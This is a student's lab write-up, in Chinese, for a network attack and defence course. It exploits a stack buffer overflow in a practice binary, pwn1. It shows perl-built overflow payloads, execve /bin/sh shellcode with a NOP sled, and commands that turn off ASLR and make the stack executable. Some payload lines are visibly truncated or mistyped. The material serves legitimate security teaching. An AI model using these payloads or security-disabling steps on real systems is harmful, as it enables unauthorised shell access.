20212928 2021-2022-2 《网络攻防实践》第11周作业

1.实践基础知识

1）熟悉Linux基本操作
能看懂常用指令,如管道（|），输入、输出重定向（>）等。

2）理解Bof的原理

• 能看得懂汇编、机器指令、EIP、指令地址。
• 会使用gdb,vi。

3）指令、参数

• 一些具体的问题可以边做边查，但最重要的思路、想法不能乱。
• 要时刻知道，我是在做什么？现在在查什么数据？改什么数据？要改成什么样？每步操作都要单独实践验证，再一步步累加为最终结果。
• 操作成功不重要，照着敲入指令肯定会成功。

4）重要的是理解思路。）

• 看指导理解思路，然后抛开指导自己做。
• 碰到问题才能学到知识。
• 具体的指令可以回到指导中查。

2.实践过程
本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

三个实践内容如下：

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode

（1）实践任务一：手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数

知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
学习目标：理解可执行文件与机器指令
进阶：掌握ELF文件格式，掌握动态技术

具体步骤如下：
1)下载解压文件pwn1，对其进行反汇编
2)输入指令：objdump -d pwn1|more，加|more是加管道符，可以分页显示，得到如下截图：


3)之后输入命令/getShall,可以得到如下截图，

可以看到有三个函数，getShall,foo,main;

• call 8048491是汇编指令
  是说这条指令将调用位于地址8048491处的foo函数；
  其对应机器指令为e8 d7ffffff，e8即跳转之意。
  本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行EIP + d7ffffff这个位置的指令。
  d7ffffff是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值

• main函数调用foo，对应机器指令e8 d7ffffff
  那我们想让它调用getShell，只要修改d7ffffff为getShell-80484ba对应的补码就行。
  用Windows计算器，直接47d-4ba就能得到补码，是c3ffffff。

4)下面我们就修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff

• 在修改之前习惯性进行备份一下，输入指令：cs pwn1 pwn2
  

• 输入指令vi pwn1
  
  可以看到如下图所示：基本全是乱码
  

• 按ESC，然后输入命令:%!xxd,转换成16进制,如下图
  

• 输入命令/e8 d7查找要修改的内容
  

找到后，将前后的内容和反汇编的对比下，确认地方是正确的,修改d7为c3，如下图

转换16进制为原格式:%!xxd -r，如下图所示：

输入指令vi:wq保存退出

5）下面进行验证：

• 由于我们改的是主函数，所以由下图可以看到已经发生变化：
  

• 先输入指令：./pwn1运行一下原来的，如下图：
  当我输入20212928pcl,就会给我返回相同的字符，
  

• 在输入命令./pwn2验证一下刚才我们修改过的，则可以看到出现Shell，如下图所示：
  

（2）实践任务二：利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数

• 知识要求：堆栈结构，返回地址
• 学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
• 进阶：掌握ELF文件格式，掌握动态技术

步骤如下：
1）反汇编，了解程序的基本功能
首先，我们输入命令：objdump -d pwn1 | more对pwn1进行反汇编
注意这个函数getShell，我们的目标是触发这个函数

该可执行文件正常运行是调用如下函数foo，这个函数有Buffer overflow漏洞

这里读入字符串，但系统只预留了28+4=32字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址

上面的call调用foo,同时在堆栈上压上返回地址值:80484ba

2）确认输入字符串哪几个字符会覆盖到返回地址
输入命令gdb pwn1进行调试pwn1

EIP的值，是ASCII 1234
如果输入字符串1111111122222222333333334444444412345678，那1234 那四个数最终会覆盖到堆栈上的返回地址，
进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给pwn1，pwn1就会运行getShell。

3）确认用什么值来覆盖返回地址

• getShell的内存地址，通过反汇编时可以看到，是0804847d，如下图
  

因为是小端优先,所以应输入11111111222222223333333344444444\x7d\x84\x04\x08
4）构造输入字符串

• 由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' >
  input的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。

• 用16进制查看指令xxd查看input文件的内容是否如预期xxd input
  

• 然后将input的输入，通过管道符|，作为pwn1的输入(cat input; cat) | ./pwn1
  

（3）实践任务三：注入一个自己制作的shellcode并运行这段shellcode
1） 准备一段Shellcode

• shellcode就是一段机器指令（code）
  通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。
  在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
• 以下实践使用Shellcode入门生成的shellcode。如下：
  \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

2）准备工作
修改如下这些配置

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space 
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space 

3）构造要注入的payload

• Linux下有两种基本构造攻击buf的方法：

• retaddr+nop+shellcode

• nop+shellcode+retaddr

• 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。

• 简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边

• 我们这个buf够放这个shellcode了，

• 结构为：nops+shellcode+retaddr。

• nop一为是了填充，二是作为“着陆区/滑行区”。

• 我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。

• 构造input_shellcode文件perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53
  x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

• 打开一个终端注入这段攻击buf(cat input_shellcode;cat) | ./pwn1
  

• 再开另外一个终端，用gdb来调试pwn1这个进程

• 输入ps -ef | grep pwn1查看进程号，我这里是5860，如下图
  

• 启动gdb调试这个进程，输入指令attch 5860,如下图：
  

• 通过设置断点，来查看注入buf的内存地址disassemble foo

• 首先要得到函数的retaddr,则反汇编：disassemble foo得到ret地址为0x080484ae
  

• 后设置断点：break *0x080484ae,输入c开始运行
  

• 接下来到另一个终端回车，使程序往下执行至断点
  

• 此时查看esp寄存器地址，使用info r esp查看栈顶指针所在的位置，并查看改地址存放的数据：0xbfffee1c
  

• 输入x/16x 0xbfffee1c，以十六进制查看0xbfffee1c后续16字节内容
  
  

• 得到我们定义的Shellcode返回地址\x4\x3\x2\x1位于0xbfffee1c四位，即得到Shellcode真实返回地址0xbfffee1c+0x00000004=0xbfffee20，

• 可以发现数据采用小端字节序，并且将返回地址改为20 ee ff bf就可以让程序执行Shellcode，
  这样一来构造shellcode：32个A+retaddr+nop+shellcode。
  perl -e 'print "A" x 32; "\x20\xee\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e \x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

• 在输入命令 (cat input_shellcode;cat) | ./pwn1，即可看到最后的成功结果，如下图
  
  3.学习中遇到的问题及解决
  问题1：做第二个任务时，当我输入gdb pwn1,发现不可以调试，如下图，输入sudo apt install gdb,进行安装解决
  ，却发现还是不行
  
  

解决1：最后，终于在输入更新命令后在执行下载安装就好了，其实之前也试过，但是没有在sudo模式下进行，导致试了好多遍，如下图：

问题2：exexecstack软件下载安装一直失败，

解决2：首先按照网上的解决办法进行升级。发现还是不行，如下图：

最后,只能用seedubundu来完成接下来的实验，输入命令sudo apt-get install prelink就可以解决该问题。

问题3：输入相关命令时只显示一行信息，如图，关机重启等方法用了好多次都没解决

解决3：错在在构造shellcode 时，将代码行多加了一个回车，去掉回车后即可解决：

4.学习感想和体会
本次实验内容比较不算难，但对一些汇编语言的基础知识要求较高，实现了BOF攻击，掌握了两个软件的下载以及使用，即gdb和exexecstack。
当然做实验时也是出现了各种各样的问题，在上述的问题3，我通过尝试各种方法没能解决，最后还是感谢邹泽霄，请同学帮忙查看，才使得实验顺利的完成。